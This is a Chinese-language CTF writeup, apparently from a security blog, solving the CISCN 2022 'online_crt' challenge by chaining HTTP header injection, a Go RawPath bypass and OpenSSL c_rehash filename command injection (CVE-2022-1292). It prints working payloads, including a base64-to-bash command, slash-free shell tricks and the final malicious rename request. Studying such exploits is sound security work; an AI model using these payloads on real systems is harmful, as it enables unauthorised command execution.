Toc
  1. 项目分析
  2. 解题
    1. c_rehash
      1. 利用条件
    2. go server
      1. url注入http头
      2. go的RawPath特性
    3. 构造利用链
      1. 第一步
      2. 第二步
        1. 使用base64 编码
        2. 使用截断环境变量
        3. 使用现有环境变量
      3. 第三步
    4. 总结
Toc
0 results found
白帽酱
第15届全国大学生信息安全竞赛 online_crt writeup c_rehash(CVE-2022-1292) ciscn 2022
2022/05/30 CTF CTF CVE

author:白帽酱
题目给了后端源码 一道题利用了前不久出现的一个鸡肋洞 openssl c_rehash(CVE-2022-1292) 题目还是比较有意思的

项目分析

项目后端是pyhton + go
pyhton的服务直接暴露给用户
pyhton服务 一共有4个路由
/getcrt 生成一个x509证书
/createlink 调用 c_rehash 创建证书链接
/proxy 通过代理访问go服务

@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()

go后端有一个admin路由
用于重命名证书文件

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}

c.String(200, "no"+c.Request.URL.RawPath+","+c.Request.Host )
}

解题

c_rehash

题目中出现了 c_rehash
c_rehash是openssl中的一个用perl编写的脚本工具
用于批量创建证书等文件 hash命名的符号链接
最近c_rehash 出了个命令注入漏洞 (CVE-2022-1292)
经过搜索网上并没有公开的exp (可能因为这个漏洞非常鸡肋)
只能通过diff进行分析
https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8
这个就是漏洞的commit
很容易看出 文件名这里过滤不严 没有过滤反引号就直接把文件名拼接到了命令里
图片.png所以只要在文件名中使用反引号就可以执行任意命令
继续上前追溯

sub hash_dir {
my %hashlist;
print "Doing $_[0]\n";
chdir $_[0];
opendir(DIR, ".");
my @flist = sort readdir(DIR);
closedir DIR;
if ( $removelinks ) {
# Delete any existing symbolic links
foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
if (-l $_) {
print "unlink $_" if $verbose;
unlink $_ || warn "Can't unlink $_, $!\n";
}
}
}
FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
# Check to see if certificates and/or CRLs present.
my ($cert, $crl) = check_file($fname);
if (!$cert && !$crl) {
print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
next;
}
link_hash_cert($fname) if ($cert);
link_hash_crl($fname) if ($crl);
}
}

发现在执行命令前会检查 文件后缀名.(pem)|(crt)|(cer)|(crl) 和文件内容
文件内容必须包含证书或者是吊销列表才能通过检查
到这里可以整理出这个鸡肋洞的条件了

利用条件

  1. 执行c_rehash 目标目录下文件可控
  2. 文件后缀符合要求
  3. 文件内容必须包含证书或者是吊销列表
  4. 文件名可控

题目中生成证书的功能可以创建一个满足要求的文件

go server

接下来看go的部分
为了实现可控的文件名 我们需要调用go的重命名功能
go的路由在重命名前有两个校验
c.Request.URL.RawPath != “” && c.Request.Host == “admin”
首先需要绕过这两个验证

url注入http头

Request.Host就是请求的host头
在python的请求包中host头是固定的 (test_api_host)
这里要想办法让go后端认为host值是admin

python 在代理请求时直接使用了socket 发送raw数据包
在数据包{uri}处没有过滤
所以我们可以直接在uri注入一个host头来替换原先的头
注入之后数据包就变成了这样

GET / HTTP/1.1
Host: admin
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close



HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


这样就绕过了host头的校验

go的RawPath特性

通过阅读go net库的源码
我发现在go中会对原始url进行反转义操作(URL解码)
如果反转义后再次转义的url与原始url不同 那么RawPath会被设置为原始url 反之置为空

图片.png注释中贴心的给出了示例和详细的功能介绍
所以只要我们把url中的任意一个斜杠进行url编码 就可以绕过这个检查了

构造利用链

接下来就是构造这个简单的利用链

第一步

请求 /getcrt 路由 生成一个证书 返回证书路径

第二步

请求 /proxy 修改证书名为恶意文件名

这里有一些坑点
linux文件名虽然可以包大部分可打印字符
但是有一个除外 那就是斜杠
不能使用斜杠这限制了命令执行的内容
下面是我在这次ctf尝试的解决方案
在这一步我尝试了几个小时
目标环境有些玄学的问题

使用base64 编码

构造 echo Y2F0IC9mbGFnID4gZHNmZ2g= |base64 -d|bash
尝试使用base64绕过
本地测试利用成功
在目标机器多次尝试均失败 (可能是目标docker环境问题 缺少base64工具)

使用截断环境变量

linux有很多预制的系统环境变量
比如PATH SHELL
bash 可以通过${变量名:偏移:长度} 简单的截取环境变量值
这里我们使用SHELL环境变量的开头第一个字符来替代斜杠
${SHELL:0:1}
这种方法本地测试成功
都是在目标机器多次尝试还是失败

使用现有环境变量

构造命令 env >qweqwe
获取到了目标机器的环境变量值
运气非常好 OLDPWD的值刚好为我们所需要的 /
最终使用了这个方法成功读取到了flag

第三步

请求 /createlink 触发 c_rehash RCE

ls $OLDPWD >qweqwe
图片.png成功列出了根目录的内容
然后执行 cat ${OLDPWD}flag >jnyghj
读取flag
uri=/admin/rename?oldname=d205092e-c641-423e-82f0-e96f583f3c38.crt&newname=0cat ${OLDPWD}flag >jnyghj.crt
图片.png

不知道尝试了有多少次2333

总结

因为之前分析过c_rehash这个鸡肋的洞 当时看了一眼标题就猜到了整个利用链
没想到还是在构造payload上花了太多时间
(由于利用特殊性 这个漏洞在实战应该不太可能遇见)

本文作者:白帽酱
版权声明:本文首发于白帽酱的博客,转载请注明出处!